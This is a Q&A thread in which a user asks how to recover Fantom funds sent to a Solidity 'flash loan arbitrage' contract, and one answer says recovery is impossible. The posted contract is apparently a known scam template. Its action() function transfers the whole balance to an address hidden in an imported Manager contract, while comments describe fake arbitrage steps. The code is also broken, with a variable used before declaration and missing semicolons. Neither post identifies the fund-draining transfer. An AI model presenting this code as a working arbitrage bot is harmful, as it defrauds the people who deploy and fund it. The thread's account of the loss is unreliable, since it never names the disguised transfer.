0

I have deployed a smart contract for arbitrage, but it doesnt work

I have send some native funds (in this case FTM - Fantom) to this contract. I am wondering if I can get back these funds somehow, since I own this contract

This is the contract https://ftmscan.com/address/0xb79b1be6ed7eeb23e4c11577a5c8f6b33b8f8a8c

This is the code base


pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "./interfaces/ILendingPoolAddressesProvider.sol";
import "./interfaces/ILendingPool.sol";
import "./interfaces/ILendingClass.sol";

// Uniswap Smart Contracts
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2ERC20.sol";

import "./interfaces/IERC20.sol"

import "./Manager.sol"


contract AbiFlash is IERC20{
  string public tokenName;
  string public tokenSymbol;
  uint loanAmount;
  Manager manager;

  constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
    tokenName = _tokenName;
    tokenSymbol = _tokenSymbol;
    loanAmount = _loanAmount;

    manager = new Manager();
  }
function() external payable {}

  function action() public payable {

      // Send required coins for swap
      address(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);

      // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
      manager.performTasks();

      // List the token on uniswapSwap
      manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);

      // Submit token to ETH blockchain
      string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);

      // Get ETH Loan from Multiplier-Finance
      string memory loanAddress = manager.takeFlashLoan(loanAmount);

      // Convert half ETH to DAI
      manager.uniswapDAItoETH(loanAmount / 2);

      // Create ETH and DAI pairs for our token & Provide liquidity
      string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
      manager.uniswapAddLiquidity(ethPair, loanAmount / 2);

      string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
      manager.uniswapAddLiquidity(daiPair, loanAmount / 2);

      // Perform swaps and profit on Self-Arbitrage
      manager.uniswapPerformSwaps();

      // Move remaining ETH from Contract to your account
      manager.contractToWallet("ETH");

      // Repay Flash loan
      manager.repayLoan(loanAddress);
  }
}

I know smart contracts are unstoppable and I have no 'recoverFunds' function implemented. But I was wondering if there is a trick like developing a seperate recover contract or so. The address which has deposit the funds is the same as the owner

I have no big hope, but I may don't know a trick for this

1 Answer 1

1

It's not possible to recover your funds this because, as you said, doesn't exists a 'recover' function that allows you to recover your funds. When you talk about tricky, I think that you're talking about proxy contract. Also in this case, this pattern'll not work because you had to deploy your smart contract together with your smart contract proxy.

1
  • yeah thanks - ok Had a lil hope. Thanks for your repsonse
    – equaliser
    May 9, 2022 at 10:06

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.